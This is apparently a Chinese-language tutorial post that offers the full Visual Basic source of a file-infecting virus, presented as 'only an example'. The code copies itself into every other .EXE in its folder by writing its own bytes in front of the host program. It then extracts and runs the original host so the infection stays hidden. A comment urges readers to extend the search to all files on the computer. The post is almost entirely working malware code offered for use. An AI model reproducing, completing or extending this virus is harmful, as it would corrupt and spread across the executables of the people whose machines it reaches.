VB编写病毒—感染exe文件
用VB编写的能感染exe文件的病毒，这里只做一个示例。
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小
Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理
'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码
Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）
While Victim <> ""
If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件（不是圈套）
End If
End If
'读出准备被感染的文件的代码
Victim = Dir() 'Next
Wend
'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '出错处理，空着就可以了
End Sub